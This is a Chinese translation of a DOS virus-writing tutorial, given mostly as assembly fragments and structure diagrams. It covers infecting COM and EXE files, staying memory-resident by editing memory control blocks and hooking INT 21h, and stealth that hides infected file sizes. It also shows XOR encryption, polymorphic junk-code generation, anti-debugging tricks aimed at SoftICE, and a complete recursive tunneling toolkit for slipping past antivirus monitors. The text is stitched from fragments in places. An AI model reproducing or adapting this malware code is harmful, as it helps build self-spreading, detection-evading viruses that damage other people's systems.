signature db "[PS/G齗",0 ; Phalcon/Skism G?( old!! ) COMmask db "*.COM",0 ; Must be ASCIIZ ( Ascii string,0 ) dot_dot db "..",0 ; Directory to change
heap: ; this data goes in heap newDTA db 43 dup (?) ; DTA size, 2Bh origdir db 65 dup (?) ; Where to store old directory numinfect db ? ; Handles the number of infections readbuffer db 1ah dup (?) ; Buffer endheap: end carrier ;-----到这儿为此剪切------------------------------------------------------
_______________________________________ | EXE file mark(ZM or MZ) |<----+0000h |_______________________________________| Size:1 WORD | Bytes in last page of image* |<----+0002h |_______________________________________| Size:1 WORD | Number of pages* |<----+0004h |_______________________________________| Size:1 WORD | Number of relocation items |<----+0006h |_______________________________________| Size:1 WORD | Size of the header in paragraphs |<----+0008h |_______________________________________| Size:1 WORD | MinAlloc in paragraphs |<----+000Ah |_______________________________________| Size:1 WORD | MaxAlloc in paragraphs |<----+000Ch |_______________________________________| Size:1 WORD | Initial SS* |<----+000Eh |_______________________________________| Size:1 WORD | Initial SP* |<----+0010h |_______________________________________| Size:1 WORD | Negative checksum |<----+0012h |_______________________________________| Size:1 WORD | Initial IP* |<----+0014h |_______________________________________| Size:1 WORD | Initial CS* |<----+0016h |_______________________________________| Size:1 WORD | Reloacations |<----+0018h |_______________________________________| Size:1 WORD | Overlays |<----+001Ah |_______________________________________| Size:1 WORD | Reserved/Not used |<----+001Ch |_______________________________________| Size:1 DWORD? 总长度:变量! 标志了(*)的表示病毒感染时将会被修改。
mov word ptr [bp+readbuffer+0Eh], ax ; Para disp stack segment mov word ptr [bp+readbuffer+14h], dx ; IP Offset mov word ptr [bp+readbuffer+10h], id ; Initial SP mov word ptr [bp+readbuffer+16h], ax ; Para disp CS in module.
mov cl, 0009h push ax shr ax, cl ror dx, cl stc adc dx, ax pop ax and ah, 0001h
mov word ptr [bp+readbuffer+2], ax ; Fix-up the file size in mov word ptr [bp+readbuffer+4], dx ; the EXE header ;---------------------------------------------------------------------------
%MCB(Memory Control Block 内存控制模块)% ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ 我们将在驻留内存病毒这一章介绍它(下一章)。下面给出MCB:
___________________________________ | ID(Z=last,M=there're more) |<----+0000h |___________________________________| Size:1 BYTE | Address of associated PSP |<----+0001h |___________________________________| Size:1 WORD | Number of paras in allocated mem |<----+0003h |___________________________________| Size:1 BYTE | Unused |<----+0005h |___________________________________| Size:11 BYTES | Block Name |<----+0008h |___________________________________| Size:8 BYTES | Zone of allocated memory |<----+0010h |___________________________________| Size:?? PARAS Total Size: VARIABLE
%DTA(Disk Transfer Area 磁盘交换区)% ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
这个结构真得很酷。它能帮助你使你的代码更健壮,更优化。它类似于FCB,但是,正 如你看到的,它更强大。利用这个表,我们可以使病毒更隐蔽,改变文件指针的打开模式 ,属性...这里你看到的使DOS 4以上版本的结构(我相信在这个世界上已经没有人用DOS 3 或更低了吧)。好了,如果你想为DOS 3编写代码,可以参考Ralph Brown的中断列表。但是 DOS 3的SFT是和下面的非常类似的。重要的值在相同的地方
===================================== <----+0000h ‖ Pointer to next file table ‖ Size:1 DWORD ‖===================================‖<----+0004h ‖ Number of files in this table ‖-----------Size:1 WORD---------- ‖===================================‖<----+0000h [3Bh bytes per file] | Number of file handles of file | Size:1 WORD |___________________________________| | File open mode(AH=3Dh) |<-----+0002h |___________________________________| Size:1 WORD | File attribute |<-----+0004h |___________________________________| Size:1 BYTE | Device info block(AX=4400h) |<-----+0005h |___________________________________| Size:1 WORD | If char device points next dev h. |<-----+0007h | else point to DOS DPB | Size:1 DWORD |___________________________________| | Starting cluster of file |<-----+000Bh |___________________________________| Size:1 WORD | File time |<-----+000Dh |___________________________________| Size:1 WORD | File date |<-----+000Fh |___________________________________| Size:1 WORD | File size |<-----+0011h |___________________________________| Size:1 DWORD | Current offset in file |<-----+0015h |___________________________________| Size:1 DWORD | Relative cluster within file of |<-----+0019h----------[If Local File]
| last cluster accessed | Size:1 WORD |___________________________________| | Number of sector with dir entry |<-----+001Bh |___________________________________| Size:1 DWORD | Number of dir entry within sector |<-----+001Fh |___________________________________| Size:1 BYTE | Pointer to REDIRIFS records |<-----+0019h----[Network redirector] |___________________________________| Size:1 DWORD | ??? |<-----+001Dh |___________________________________|--------Size:3 BYTES-------- | Filename in FCB format |<-----+0020h |___________________________________| Size:11 BYTES | Pointer to prev SFT sharing file* |<-----+002Bh |___________________________________| Size:1 DWORD | Network machine num opened file* |<-----+002Fh |___________________________________| Size:1 WORD | PSP segment of file owner |<-----+0031h |___________________________________| Size:1 WORD | Offset to code segment of rec* |<-----+0033h |___________________________________| Size:1 WORD | Absolute clust num of last access |<-----+0035h |___________________________________| Size:1 WORD | Pointer to IFS driver for file |<-----+0037h |___________________________________| Size:1 DWORD Total Size:61 BYTES
xor bx,bx mov ax,1216h mov bl,byte ptr es:[di] int 2Fh BadSFT: ret
我强烈地建议你把返回值保存到AX/BX中(BX非常重要:这里我们用来保存文件句柄)。
标志(*)的域将会被SHARE.EXE使用
%DIB(DOS Info Block DOS信息模块)% ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ 利用DIB,我们能够访问那些重要的不能利用其它方法访问结构。这个结构并不是固定 的在内存中的,我们必须利用INT 21h的52h功能。在DOS文档里没有这个函数的介绍。当我 们调用这个函数的时候,我们将会在ES:BX里得到DIB的地址。你将会得到:
___________________________________ | Pointer to first MCB |<---- -0004h |___________________________________| Size:1 DWORD | Pointer to first DPB |<-----+0000h |___________________________________| Size:1 DWORD | Pointer to DOS last buffer |<-----+0004h |___________________________________| Size:1 DWORD | Pointer to $CLOCK |<-----+0008h |___________________________________| Size:1 DWORD | Pointer to CON |<-----+000Ch |___________________________________| Size:1 DWORD | Maximum sector length |<-----+0010h |___________________________________| Size:1 WORD | Pointer to DOS first buffer |<-----+0012h |___________________________________| Size:1 DWORD | Pointer to array of cur dir struc |<-----+0016h |___________________________________| Size:1 DWORD | Pointer to SFT |<-----+001Ah |___________________________________| Size:1 DWORD Total Size:34 BYTES
___________________________________ | Drive Letter(0=A,1=B...) |<----+0000h |___________________________________| Size:1 BYTE | Unit number within device driver |<----+0001h |___________________________________| Size:1 BYTE | Bytes per sector |<----+0002h |___________________________________| Size:1 WORD | Highest sect num within a cluster |<----+0004h |___________________________________| Size:1 BYTE | Shift count for clust to sectors |<----+0005h |___________________________________| Size:1 BYTE | Number of reserved clusters |<----+0006h |___________________________________| Size:1 WORD | Number of FATS |<----+0008h |___________________________________| Size:1 BYTE | Number of root directory entries |<----+0009h |___________________________________| Size:1 WORD | Number of first sector with data |<----+000Bh |___________________________________| Size:1 WORD | Number of last sector with data |<----+000Dh |___________________________________| Size:1 WORD | Number of sector per FAT |<----+000Fh |___________________________________| Size:1 BYTE | Sector number of first dir sector |<----+0010h |___________________________________| Size:1 WORD | Address of device driver header |<----+0012h |___________________________________| Size:1 DWORD | Media ID byte |<----+0016h |___________________________________| Size:1 BYTE | 00h if disk accessed,else FFh |<----+0017h |___________________________________| Size:1 BYTE | Pointer to next DPB |<----+0018h |___________________________________| Size:1 DWORD Total Size:28 BYTES
%分区表% ~~~~~~~~ 所有编写启动病毒的人都知道这个结构,它是硬盘上的第一块。它总是在第一块的, 无论在软盘还是在硬盘上。如果是硬盘,我们就叫它MBR(Master Boot Record 主启动记录 ),如果是软盘,就叫它启动扇区。 分区表是一个有着四个入口的数组,在偏移地址01BEh处。下面给出每个入口的格式:
___________________________________ | Boot indicator(Bootable=80h, |<----+0000h | Non bootable 00h) | Size:1 BYTE |___________________________________| | Head where the partition begins |<----+0001h |___________________________________| Size:1 BYTE | Sector where the partition begins |<----+0002h |___________________________________| Size:1 BYTE | Cylinder where the part.begins |<----+0003h |___________________________________| Size:1 BYTE | System indicator*(What OS?) |<----+0004h |___________________________________| Size:1 BYTE | Head where partition ends |<----+0005h |___________________________________| Size:1 BYTE | Sector where the partition ends |<----+0006h |___________________________________| Size:1 BYTE | Cylinder where the partition ends |<----+0007h |___________________________________| Size:1 BYTE | Total blocks preceding partition |<----+0008h |___________________________________| Size:1 DWORD | Total blocks in the partition |<----+000Ch |___________________________________| Size:1 DWORD Total Size:16 BYTES (*) 01=12-bit FAT 04=16-bit FAT
_________________________________ | OEM name and version(ASCII) |<----+0000h |_________________________________| Size:8 BYTES | Bytes per sector |<----+0008h |_________________________________| Size:1 WORD | Sectors per cluster |<----+000Dh |_________________________________| Size:1 BYTE | Reserved sector(starting at 0) |<----+000Eh |_________________________________| Size:1 WORD | Number of FATs |<----+0010h |_________________________________| Size:1 BYTE | Total sectors in partition |<----+0011h |_________________________________| Size:1 WORD | Media descriptor |<----+0013h |_________________________________| Size:1 WORD | Sectors per FAT |<----+0015h |_________________________________| Size:1 BYTE | Sectors per track |<----+0017h |_________________________________| Size:1 WORD | Number of heads |<----+0019h |_________________________________| Size:1 WORD | Number of hidden sectors |<----+001Dh |_________________________________| Size:1 WORD Total Size:29 BYTES
newint21: cmp ax,0ACDCh ; Are user caliing our function? je is_check ; If yes, answer the call jmp dword ptr cs:[oldint21] ; Else jump to original int 21
is_check: mov ax,0DEADh ; We answer it iret ; And make an interrupt return
fuck: mov ax,0ACDCh ; Residence check int 21h ; Invented function, of course cmp ax,0DEADh ; Are we here? je stupid_yes ; If yes, show message 2
mov ax,3521h ; If not, we go and install int 21h ; Function for get INT 21h vectors mov word ptr cs:[int21_off],bx ; We store offset at oldint21+0 mov word ptr cs:[int21_seg],es ; We store segment at oldint21+2
mov ax,2521h ; Function for put new int 21 handler mov dx,offset newint21 ; where is it located int 21h
mov ax,0900h ; Show message 1 mov dx,offset msg_installed int 21h
mov dx,offset fuck+1 ; Make resident from offset 0 until int 27h ; offset in dx using int 27h ; This will also terminate program<g>
stupid_yes: mov ax,0900h ; Show message 2 mov dx,offset msg_already int 21h int 20h ; Terminate program.
msg_installed db "Stupid Resident not installed. Installing...$" msg_already db "Stupid Resident is alive and kicking your ass!$"
mov ax,4A00h ; Here we request for an impossible mov bx,0FFFFh ; amount of free memory int 21h
mov ax,4A00h ; And we substract the virus size in sub bx,(virus_size+15)/16+1 ; paras to the actual amount of mem int 21h ; ( in BX ) and request for space.
mov ax,4800h ; Now we make DOS substract 2 da free sub word ptr ds:[2],(virus_size+15)/16+1 ; memory what we need in mov bx,(virus_size+15)/16 ; paragraphs int 21h
mov es,ax ; In AX we get the segment of our dec ax ; memory block ( doesn't care if EXE mov ds,ax ; or COM ), we put in ES, and in DS ; ( substracted by 1 ) mov byte ptr ds:[0],"Z" ; We mark it as last block mov word ptr ds:[1],08h ; We say DOS the block is of its own
mov ax,ds ; DS = PSP dec ax ; We use AX as temporal register mov ds,ax ; DS = MCB
mov bx,word ptr ds:[03h] ; We put in BX the amount of memory sub bx,((virus_size+15)/16)+1 ; and then we put in BX for change mov word ptr ds:[03h],bx ; We put it in its original place
mov byte ptr ds:[0],"M" ; Mark as not last block
sub word ptr ds:[12h],((virus_size+15)/16)+1 ; Subs virus size ; to TOM size mov ax,word ptr ds:[12h] ; Now offset 12h handles the new seg. mov es,ax ; And we need AX for put it in ES
mov byte ptr es:[0],"Z" ; Mark as last block mov word ptr es:[1],0008h ; Mark DOS as owner
sub word ptr ds:[0003h], (endheap-start+15)/16+1 sub word ptr ds:[0012h], (endheap-start+15)/16+1 mov ax, ds:[0012h] mov ds, ax inc ax mov es, ax mov byte ptr ds:[0000h], 'Z' mov word ptr ds:[0001h], 0008h mov word ptr ds:[0003h], (endheap-start+15)/16
push cs pop ds xor di, di mov cx, (heap-start)/2+1 ; Bytes to move mov si, bp ; lea si,[bp+offset start] rep movsw
xor ax, ax mov ds, ax push ds lds ax, ds:[21h*4] ; Get old int handler mov word ptr es:oldint21, ax mov word ptr es:oldint21+2, ds pop ds mov word ptr ds:[21h*4], offset int21 ; Replace with new handler mov ds:[21h*4+2], es ; in high memory
done_install: pop ds pop es restore_COM: mov di, 0100h ; Where to move data push di ; In what offset will the ret go lea si, [bp+offset old3] ; What to move movsb ; Move 3 bytes movsw ret ; Return to 100h
old3 db 0cdh,20h,0
int21: push ax push bx push cx push dx push si push di push ds push es
当然啦...还有更多呢。另外一个经典的方法是钩住INT 1 和/或 INT 3。你有许多方 法来做这个。好了,我再介绍几个方法:
change_int1_and_int3_using_dos: mov ax,2501h ; AL = INT to hook lea dx,newint ; Take care if we need int 21h ; ?offset, by adding it... ok? mov al,03h int 21h [...] newint: jmp $ iret ; Why if don't used? hehehe
这个例程能被一个TSR监视程序发现。我建议你使用下面的方法。通过直接操作实现钩 子:
int1: xor ax,ax ; Let's try to put an IRET in INT 1 mov es,ax ; We need ES = 0. IVT is in 0000:0000 mov word ptr es:[1h*4],0FEEBh ; a jmp $
int3: xor ax,ax mov es,ax mov word ptr es:[3h*4],0FEEBh ; a jmp $
如果你不想使计算机挂机,把0FEEBh代替为0CF90h(一个nop和iret指令[当然要把顺序 颠倒过来啦])。 你能想到的很酷的主意是是int 3指向int 21,然后你就可以使用这个中断而不使用i nt 21了。这样有两个好处:欺骗调试器和优化你的代码...为什么优化你的代码呢?因为i nt 21指令的代码是CD 21(占两个字节),而int 3仅仅是CC... 记住int 3是调试器的一个断点,所以每次你调用int 3,调试器就会停止下面给出代 码:
getint21: mov ax,3521h ; Get interrupt vectors int 21h mov word ptr [int21_ofs],bx mov word ptr [int21_seg],es
mov ax,2503h lea dx,jumptoint21 int 21h [...]
jumptoint21 db 0EAh int21 equ this dword int21_ofs dw 0000h int21_seg dw 0000h
我们还可以比较堆栈为了知道我们是否正在被调试。下面给出例子:
stack_compares: push ax pop ax dec sp dec sp pop bx cmp ax,bx jz exit_adbg ; not debugged jmp $ ; hang computers is cool exit_adbg:
prefetch_fun: mov word ptr cs:fake2,04CB4h fake2: jmp bye_fake int 21h bye_fake:
这段代码将会终止程序的执行,现在一段特殊的为SoftIce准备的例程(最好的调试器 也被骗过了)。
更多的代码:
soft_ice_fun: mov ax,0911h ; Soft-ice function for exec. command mov di,4647h ; DI = "FG" mov si,4A4Eh ; SI = "JM" lea dx,soft_ice_fuck ; Yeah int 03h ; Int for breakpoints
save_old_int8_handler: ; You remember 40-hex magazine? mov ax,3508h ; This routine is from issue #7 int 21h mov word ptr [int8_ofs],bx mov word ptr [int8_seg],es push bx es mov ah,25h ; Put int 8 handler lea dx,virii int 21h fuckin_loop: cmp fuckvar,1 ; This will cause a little delay jnz fuckin_loop pop ds ds
int 21h mov ax,4C00h int 21h
fuckvar db 0 int8 equ this dword int8_ofs dw 0000h int8_seg dw 0000h program: ; bla bla bla mov fuckvar,1 ; more and more bla jmp dword ptr [int8]
FCB_Stealth: pushf call dword ptr cs:[oldint21] ; Fake call to INT 21h or al,al ; Optimized cmp al,0 jnz error
push ax bx es
mov ah,2Fh ; Get DTA address in ES:BX int 21h
cmp byte ptr es:[bx],0FFh ; Is FCB extended ? jne normal add bx,07h ; No, fix it normal: mov ax,es:[bx+17h] ; Get seconds and ax,1Fh ; Unmask seconds xor al,1Eh ; Are seconds = 60 ? ( 30*2 )
jne not_infected ; No, skip it
sub word ptr es:[bx+1Dh],virus_size ; Substract virus size sbb word ptr es:[bx+1Fh],0 ; With borrow, too
Disinfect: cmp ax,6C00h jne Check cmp dx,1 jne ExitDisinfection mov al,bl ; Open mode in AL mov dx,si ; File name is now in DS:DX Check: mov ax,5700h int 21h ; If we've hooked this function, ; we need to make a fake call! ( or ; use SFTs! ) and cl,1Fh ; Unmask seconds or cl,1Eh ; Is it 60? jnz NotInfected [...]
encryption: mov cx,encrypt_size ; encrypt_end-encrypt_start mov di,[bp+encrypt_begin] ; From where mov si,di ; For lodsb/stosb mov ah,key ; Value for XOR. Subst key with whate ; ver you want encryption_loop: lodsb ; Move a byte from DS:SI to AL xor al,ah stosb ; Move a byte from AL to ES:DI loop encryption_loop ret 这个过程确实很差,它只有255种可能性,因为我们把一个8比特的寄存器作为密钥(A H)。 当然这个是最简单的实现方法,我们必须注意一些事情:
encryption: mov cx,(encrypt_size+1)/2 ; encrypt_end-encrypt_start/2 mov di,[bp+encrypt_begin] ; From where mov si,di ; For lodsw/stosw mov dx,key ; Value for XOR. Subst key with whate ; ver you want encryption_loop: lodsw ; Move a word from DS:SI to AX xor ax,dx stosw ; Move a word from AX to ES:DI loop encryption_loop ret
OneByteTable: db 09Eh ; sahf db 090h ; nop db 0F8h ; clc db 0F9h ; stc db 0F5h ; cmc db 09Fh ; lahf db 0CCh ; int 3h db 048h ; dec ax db 04Bh ; dec bx db 04Ah ; dec dx db 040h ; inc ax db 043h ; inc bx db 042h ; inc dx db 098h ; cbw db 099h ; cwd EndOneByteTable:
GenerateOneByteJunk: lea si,OneByteTable ; Offset of the table call random ; Must generate random numbers and ax,014h ; AX must be within 0 and 14 ( 15 ) add si,ax ; Add AX ( AL ) to the offset mov al,[si] ; Put selected opcode in al stosb ; And store it in ES:DI ( points to ; the decryptor instructions ) ret
毫无疑问,我们需要一个随机数产生器。下面给出一个最简单的:
Random: in ax,40h ; This will generate a random number in al,40h ; in AX ret
RandomJunk: call Random ; Random number in AX and ax,(EndRandomJunkTable-RandomJunkTable)/2 add ax,ax ; AX*2 xchg si,ax add si,offset RandomJunkTable ; Point to table lodsw call ax ; Call to random table offset ret
mov di,101h ; This shit will fool AV dec di push di ; DI=100h lea si,[bp+offset OldBytes] ; Restore 3 bytes movsw ; ( Change it for your needs ) movsb ret ; Jump to 100h
oldbytes db CDh,20h,00
下面来看恢复EXE文件时怎么对付探索:
mov bx,bp ; Use BX as delta offset mov ax,ds add ax,0010h add word ptr cs:[bx+@@CS],ax add ax,cs:[bx+@@SP] cli mov ss,ax mov sp,cs:[bx+@@SS] sti
db 0EAh ; JUMP FAR
cs_ip equ this dword @@IP dw 0000h ; In 1st gen, put here the offset to ; a MOV AX,4C00h/INT 21h @@CS dw 0000h ss_sp equ this dword @@SS dw 0000h @@SP dw 0000h
pushf ; Push flags to stack pop ax ; And put them into AX for play or ax, 100h ; We activate the TF at this point push ax ; We must push AX... popf ; for restore our preety flags
Flags -- -- -- -- OF DF IF TF SF ZF -- AF -- PF -- CF
正如你所看到的,这些标志是在一个16位的寄存器里面。下面给出标志列表及所代表 的意义:
CF : Carry Flag Indicates an arithmetic carry PF : Parity Flag Indicates an even number of 1 bits AF : Auxilary Flag Indicates adjustment needed in BCD numbers ZF : Zero Flag Indicates a zero result, or equal comparison SF : Sign Flag Indicates negative result/comparison TF : Trap Flag Controls Single Step operation IF : Interrupt Flag Controls whether interrupts are enabled DF : Direction Flag Controls increment direction on string regs. OF : Overflow Flag Indicates signed arithmetic overflow
int01handler: push bp mov bp, sp push dx mov dx, word ptr cs:[dossegment] cmp [bp+6], dx jz found pop dx pop bp iret found: mov dx, [bp+6] mov word ptr cs:[int21_seg], dx mov dx, [bp+4] mov word ptr cs:[int21_off], dx pop dx pop bp add sp, 6 [...]
;----从这里开始剪切------------------------------------------------------- ; K攈ntark Recursive Tunneling Toolkit 4.1 (c) 1993 by K攈ntarK ; 反汇编 Billy Belceb?DDT ; ; 输入: ; BP : 01 Searches for INT 2Ah handler ; BP : 02 Searches for INT 13h handler ; BP : another value Searches for INT 21h handler ; 输出: ; AH : 00 Not found ; AH : 01 Found! ; AH : 02 Int 21h / 2Ah / 13h Not Hooked ; AH : 03 DOS internal interrupts are hooked ; 如果找到: ; DX DOS INT 21h / 2Ah / 13h SEGMENT ; DI INT 21h / 2Ah / 13h OFFSET ; AL RECURSION DEPT ; DESTROYED: ; AX,BX,CX,DX,DI,BP,ES ; ; 汇编: ; TASM KRTT41.ASM ; TLINK <virus name> KRTT41.OBJ ; ; Call TUNNEL for make tunneling ; ; 声明: 这是我第一次试着反汇编一些东西,所以如果有大的错误,原谅我 ; 这不是我的工作...
.model tiny .code public tunnel
tunnel: cli ; Disable interrupts for tunneling xor ax,ax mov es,ax ; Make ES = 0 for get IVT xor di,di mov dx,es:[00AEh] ; Checks for assure tunneling mov cx,es:[00A2h] ; INT 26h =! INT 28h cmp dx,cx jz check mov cx,es:[00B2h] ; INT 26h =! INT 28h =! INT 2Ch cmp dx,cx jz check mov ah,03 ; Checks failed : DOS ints are hooked ret check: cmp bp,01h ; BP=1 Hook INT 2Ah jz int2A cmp bp,02h ; BP=2 Hook INT 13h jz int13 int21: mov bx,es:[0084h] ; BP=Other Hook INT 21h mov es,es:[0086h] jmp go4it int13: mov bx,es:[004Ch] ; Get INT 13h vectors from the IVT to mov es,es:[004Eh] ; ES:BX mov bp,es mov dx,0070h cmp bp,dx jz nothooked jmp letstunnelit int2A: mov bx,es:[00A8h] ; Get INT 13h vectors from the IVT to mov es,es:[00AAh] ; ES:BX go4it: mov bp,es cmp dx,bp jnz letstunnelit nothooked: xchg bx,di mov ah,02h ; INT not hooked *yeah* ret letstunnelit: call main_body ; Go and tunnel it sti ret main_body: push es push bx cmp al,07h ; Check for recursion jz exit cmp ah,01h ; Found ? jz exit inc al mov cx,0FFFAh sub cx,bx main_loop: push bx cmp byte ptr es:[bx],0E8h ; Is OpCode a CALL ? jz callsig16 cmp byte ptr es:[bx],0EAh ; Is it a JUMP OFFSET:SEGMENT ? jz far_stuff cmp byte ptr es:[bx],09Ah ; Is it a CALL FAR ? jz far_stuff cmp byte ptr es:[bx],02Eh ; A Segment Override CS maybe ? jnz jmpfar cmp byte ptr es:[bx+01],0FFh ; A JUMP FAR ? jnz jmpfar cmp byte ptr es:[bx+02],01Eh ; PUSH DS ? jz far_stuff2 cmp byte ptr es:[bx+02],02Eh ; CS ? ( again ) jnz jmpfar far_stuff2: mov bp,es:[bx+03] dec bp xchg bx,bp jmp far_stuff jmpfar: pop bx cmp ah,01h ; Found ? jz exit cmp al,07h ; Check for recursion jz exit inc bx loop main_loop ; And loop it callsig16: pop bx add bx,03h loop main_loop exit: pop bx pop es ret far_stuff: pop bp add bp,04h push bp cmp es:[bx+03],dx jz found cmp word ptr es:[bx+03],00h jz jmpfar push es pop bp cmp es:[bx+03],bp jz jmpfar mov bp,bx mov bx,es:[bx+01] ; Where it points mov es,es:[bp+03] call main_body jmp jmpfar found: mov di,es:[bx+01] mov ah,01 ; INT 21 found jmp jmpfar end tunnel